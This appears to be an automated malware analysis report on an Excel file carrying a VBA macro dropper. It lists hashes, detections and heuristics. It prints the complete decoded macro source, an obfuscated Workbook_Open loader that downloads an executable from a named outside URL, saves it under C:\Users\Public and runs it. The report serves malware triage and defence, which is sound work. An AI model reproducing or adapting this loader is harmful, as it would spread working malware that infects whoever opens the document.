Office (OOXML) malware analysis — malicious · 57b84e7cff62308b

MALICIOUS

Office (OOXML)

78.6 KB First seen: 2020-09-07

MD5: 24f765ee987be390bc8c6bc905dd18bb SHA-1: 167e1d81221553bcf231aa9adb39c2dfea4bed16 SHA-256: 57b84e7cff62308b09d01a774efeb9629b32573a4784ba051b972e311287b388

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains an obfuscated loader that executes upon opening the document. It uses CreateObject to instantiate 'Microsoft.XMLHTTP' and downloads a file from 'http://bestatmedia.com/1LoggerBin.exe', which is then likely executed. This behavior is consistent with a macro-based dropper designed to fetch and run a secondary payload.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.write ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6596 bytes
SHA-256: `3c9c83147df339d9f69ca6840a23227c9c553bb6aa02289fba335936c69ac45e`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select rwymwzmmcdudkovicgpwimanhpvmhmpgstxusxzqtwkhwpdazaxygzpfwkfgdaeqonlqqapfgzdlbtqsmumhorztdsxhrtmsrtsj"68 74 74 70 3A 2F 2F 62 65 73 74 61 74 6D 65 64 69 61 2E 63 6F 6D 2F 31 4C 6F 67 67 65 72 42 69 6E 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub rwymwzmmcdudkovicgpwimanhpvmhmpgstxusxzqtwkhwpdazaxygzpfwkfgdaeqonlqqapfgzdlbtqsmumhorztdsxhrtmsrtsj (bsrbxtkhcdzutwrwnfeqevcfyyazodwunxzyszkymmqywlyoadwbjupgpmcysktygehwwsdnugdseejnamzkgukthtjgwlfctrsr As String) Dim ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme Range("A6:J13").Select Dim ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy Range("A6:J13").Select Dim jdbqunovwtdoijztdqzzddwrgemfvymdifeczbamqnrggnnajadjwdvggjkqajaxhzgdewubqniplqktqmvvudgejyvprjlgntzh Range("A6:J13").Select Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set jdbqunovwtdoijztdqzzddwrgemfvymdifeczbamqnrggnnajadjwdvggjkqajaxhzgdewubqniplqktqmvvudgejyvprjlgntzh = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) fqnihzpqbuzbxbqnfpkkizxlaguoefxoumuozbecvswdvtqnzeiqotoftbhbealvwlhlhcodkioqduqhphpaxgaayouxtcyugagk = enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc(bsrbxtkhcdzutwrwnfeqevcfyyazodwunxzyszkymmqywlyoadwbjupgpmcysktygehwwsdnugdseejnamzkgukthtjgwlfctrsr) mffwqefgfyczlamwllyplgnshqkijujcngvjbtktbtvzmvmtqbjvcqyfsnoztxwloalefcusbeorknfmerrhkozwhproekzdxkkm = enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 66 75 72 76 75 6C 61 6C 76 2e 65 78 65") jhnohrtychufhcvcfpaaaoxqkgnrekuactdwddatubuaumhbowxhjjlujxdbdctrmucozzzcohgzuxvyylcimmqshimfazprhdnz = enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 66 75 72 76 75 6C 61 6C 76 2e 65 78 65") ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme.Open chr(71) + chr(69) + chr(84), fqnihzpqbuzbxbqnfpkkizxlaguoefxoumuozbecvswdvtqnzeiqotoftbhbealvwlhlhcodkioqduqhphpaxgaayouxtcyugagk, False ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme.send ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.Type = 1 ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.Open ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.write ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme.responseBody ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.savetofile mffwqefgfyczlamwllyplgnshqkijujcngvjbtktbtvzmvmtqbjvcqyfsnoztxwloalefcusbeorknfmerrhkozwhproekzdxkkm, 2 jdbqunovwtdoijztdqzzddwrgemfvymdifeczbamqnrggnnajadjwdvggjkqajaxhzgdewubqniplqktqmvvudgejyvprjlgntzh.Run jhnohrtychufhcvcfpaaaoxqkgnrekuactdwddatubuaumhbowxhjjlujxdbdctrmucozzzcohgzuxvyylcimmqshimfazprhdnz End Sub Public Function enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc(ByVal gkvmgbsjufvqyraonfcdtbtgbekgbccrrdmfqjpskxjddfqzjxtiqvoeqplbrmhsddyvfuxeqktvspcvnlxejtawphobxnbxqraz As String) As String Dim gvuozosgbsmbmpnfpcjjccfxfvgcivfbpdpsqifubtvxunphavinhqxepwjehqyfmlmjavphxphigicrfzcmmstygkctyamlvpkj As String Dim bghfgbqsjoxgtryinmsurodpsviwcwnrytqzrwflbbprnvagcdxiwprndrmlstpmafiabyqrghsqylcwvbtzyevibdvakttilcrh As String Dim nzfdmgcowbospqqqzqovkzzycqgnokfwtujvwpmrcglaodludciunvxnahbwzpamvryugvujewtdnyjzfmjlbljyxvuooprnfzew As Long For nzfdmgcowbospqqqzqovkzzycqgnokfwtujvwpmrcglaodludciunvxnahbwzpamvryugvujewtdnyjzfmjlbljyxvuooprnfzew = 1 To Len(gkvmgbsjufvqyraonfcdtbtgbekgbccrrdmfqjpskxjddfqzjxtiqvoeqplbrmhsddyvfuxeqktvspcvnlxejtawphobxnbxqraz)Step 3 gvuozosgbsmbmpnfpcjjccfxfvgcivfbpdpsqifubtvxunphavinhqxepwjehqyfmlmjavphxphigicrfzcmmstygkctyamlvpkj = Chr$(Val("&H" & Mid$(gkvmgbsjufvqyraonfcdtbtgbekgbccrrdmfqjpskxjddfqzjxtiqvoeqplbrmhsddyvfuxeqktvspcvnlxejtawphobxnbxqraz, nzfdmgcowbospqqqzqovkzzycqgnokfwtujvwpmrcglaodludciunvxnahbwzpamvryugvujewtdnyjzfmjlbljyxvuooprnfzew, 2))) bghfgbqsjoxgtryinmsurodpsviwcwnrytqzrwflbbprnvagcdxiwprndrmlstpmafiabyqrghsqylcwvbtzyevibdvakttilcrh = bghfgbqsjoxgtryinmsurodpsviwcwnrytqzrwflbbprnvagcdxiwprndrmlstpmafiabyqrghsqylcwvbtzyevibdvakttilcrh & gvuozosgbsmbmpnfpcjjccfxfvgcivfbpdpsqifubtvxunphavinhqxepwjehqyfmlmjavphxphigicrfzcmmstygkctyamlvpkj Next nzfdmgcowbospqqqzqovkzzycqgnokfwtujvwpmrcglaodludciunvxnahbwzpamvryugvujewtdnyjzfmjlbljyxvuooprnfzew enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc = bghfgbqsjoxgtryinmsurodpsviwcwnrytqzrwflbbprnvagcdxiwprndrmlstpmafiabyqrghsqylcwvbtzyevibdvakttilcrh End Function Attribute VB_Name = "jtcpxvtcdmzmbecrzleadkgqm" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `af04a49d1c1a8c5f55fc5fe5688188a694638b073da5fe44e665ed223d1b1d22`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 149 of 222 identifiers look randomly generated (e.g. 'jtcpxvtcdmzmbecrzleadkgqm') — consistent with name-mangling obfuscation.

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